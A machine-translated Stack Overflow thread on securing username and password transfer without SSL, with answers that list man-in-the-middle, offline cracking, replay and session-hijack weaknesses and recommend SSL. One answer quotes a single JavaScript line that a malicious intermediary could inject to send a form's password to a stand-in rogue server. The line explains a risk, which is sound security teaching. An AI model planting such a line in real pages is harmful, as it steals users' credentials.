【问题标题】：Web Authentication - how to securely transfer username/password from the client to the serverWeb 身份验证 - 如何安全地将用户名/密码从客户端传输到服务器
【发布时间】：2012-01-25 19:29:23
【问题描述】：

我有一个正在尝试启动的 Web 应用程序 (Java)。用户需要登录系统才能使用这些功能。所以这个应用程序有两个部分：
1) 用户注册
2) 登录
我担心的是我将用户名/密码数据从网络浏览器传输到服务器的方法有多安全。

注册

我很迷茫，因为我不确定如何安全地将数据从网络浏览器发送到服务器。

客户 >> ---------------------------------- -------------------服务器 >>
[请求令牌] -------------------------------------------------- ------------------------>>
------ --------[从会话 ID 发送一个随机生成的令牌]
[客户端计算 hashedSecret = SHA1(token + SHA1(password))]
[发送数组：[username, hashedSecret]]------------------ -->>
[服务器从数据库中查询用户名的 SHA1（密码）]
[服务器计算 expectedSecret = SHA1(token + SHA1(password))]
[服务器将 hashedSecret 与 expectedSecret 进行比较]

我想知道的是如何安全地注册用户以及我的登录是否足够安全。

谢谢

【问题讨论】：

您预期的威胁是什么？如果您只担心数据在网络上的数据包嗅探，那么使用 SSL 并忽略您的任何花哨的东西 - 只需像处理任何 Web 请求一样发送用户/通行证，SSL 就会避开嗅探器。跨度>
HTTPS == HTTP + SSL 您的应用将从端口 80 更改为 443（如果默认配置），并且会使用更多的 CPU 时间。但也可以实现自己的握手逻辑。是的，理论上，如果您在令牌生成中添加随机盐，那么您的操作是正确的。
我启动应用程序的网站还没有 SSL 证书。但是，他们正计划获得一个。所以在他们得到一个之前，我必须使用某种加密/散列技术将数据传输到服务器。我可以想出登录程序，但不知道如何保护注册过程。我担心的威胁是重放/中间人攻击和嗅探器。
如果没有受信任的证书，您将无法防止中间人攻击。时期。推荐阅读：stackoverflow.com/questions/6658557/… 如需解决方法，请查看 aSSL：assl.sullof.com/assl/securityfaq.asp
这些链接很有帮助，谢谢

标签： javascript security authentication encryption passwords

【解决方案1】：

看起来……过于复杂。只需使用 SSL，它是行业标准，对银行来说已经足够了。

【讨论】：

【解决方案2】：

它是否“足够安全”当然是只有您作为系统所有者才能回答的问题。如果您预期的对手不熟练且没有动机，并且身份验证失败的影响很小，那么就是这样。如果您要保护任何具有重要价值的东西，那么它可能不是一个足够安全的解决方案。

以下是这种方法可能容易受到攻击的一些攻击媒介。

中间人攻击：

 Client          Eavesdropper            Server
 Requests token-------X----------------------->
 <--------------------X-------------Sends token
 Sends PW hash--------X
                      Relays client hash ------>
                      X<-----------Authenticates

窃听者侦听客户端的身份验证响应，然后将其中继到服务器。服务器验证其正确性并对窃听者进行身份验证。

离线密码哈希攻击

可以读取客户端和服务器之间消息的窃听者将拥有用于生成哈希的令牌和逻辑（来自 JavaScript）。因此，攻击者将知道H(token + H(password))、token 和H(x)，其中H 是密码哈希算法（SHA1）。

然后，攻击者可以对客户端响应运行字典攻击以猜测密码，攻击者可以尝试使用字典攻击和类似方法离线破解密码。由于攻击者不需要对服务器进行身份验证，而是可以离线破解密码，因此可以快速破解中等强度的密码。

修改传输中的服务器消息

客户端无法保证服务器消息的完整性，并且消息可能在传输过程中被修改。例如，恶意中介可以在 HTML 页面中插入一行 JavaScript，通过 DOM 拦截密码并将其发送到流氓服务器。（例如，流氓中介可能会在表单提交方法中插入new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value。）

重放攻击

如果服务器令牌以足够的频率重复，窃听者可以捕获成功的令牌/响应对。然后攻击者可以发出大量的令牌请求，等待一个已知的令牌被回收。然后，攻击者将已知的令牌响应重放给服务器。服务器将攻击者的响应与预期响应进行比较，并对攻击者进行身份验证。

身份验证后攻击

会话通过身份验证后，客户端和服务器消息将继续以明文形式发送。攻击者可能会进行会话劫持攻击，使用客户端的会话 cookie 伪装成经过身份验证的客户端。攻击者还可能截获服务器和客户端之间的机密数据，或更改传输中的数据，从而损害客户端/服务器通信的机密性、完整性和不可否认性。例如，客户端可能会发送响应以执行BenignAction，攻击者在传输过程中将其更改为GetSecretData。然后攻击者读取表面上包含秘密数据的响应。

这就是说，所提出的方法可能并不比以明文形式发送密码更安全。如果安全是一个问题，使用 SSL 和来自受信任 CA 的证书将（出于实际目的）有效地防止所有这些攻击。

【讨论】：

【解决方案3】：

@Quentin 发布说 SSL 很好，并且在当今的行业中被使用。这是最容易实施的安全方法，但对我来说，它的安全性只能达到 C 级或更差。银行应用程序和其他网站会根据您要保护的信息使用更强大的安全方法。

例如，StackOverflow.com 使用标准 POST 表单来创建用户并通过 SSL 保护流量。这对于仅作为社区知识库站点的站点来说已经足够了。帖子示例：

POST https://stackoverflow.com/users/login-or-signup/validation/track         
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: https://stackoverflow.com/users/signup?returnurl=http%3a%2f%2fstackoverflow.com%2fquestions%2f9008997%2fweb-authentication-how-to-securely-transfer-username-password-from-the-client
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Host: stackoverflow.com
Content-Length: 240
Connection: Keep-Alive
Cache-Control: no-cache

isSignup=true&isLogin=false&isPassword=false&isAddLogin=false&hasCaptcha=false&fkey=asd231232s30b71ead6f8af06f93b85c&legalLinksShown=1&displayname=[MyScreeName]&email=[MyEmail]&password=[SOMEPASSWORD]&password2=[SOMEPASSWORD]&submitbutton=Sign

另一方面，银行与 Wells Fargo 应用程序一样，将对表单流量进行二进制序列化、私人客户端密钥加密和 SSL。这有点像“默默无闻的安全性”，但它比 SSL 更好。我的 2 美分。干杯！

【讨论】：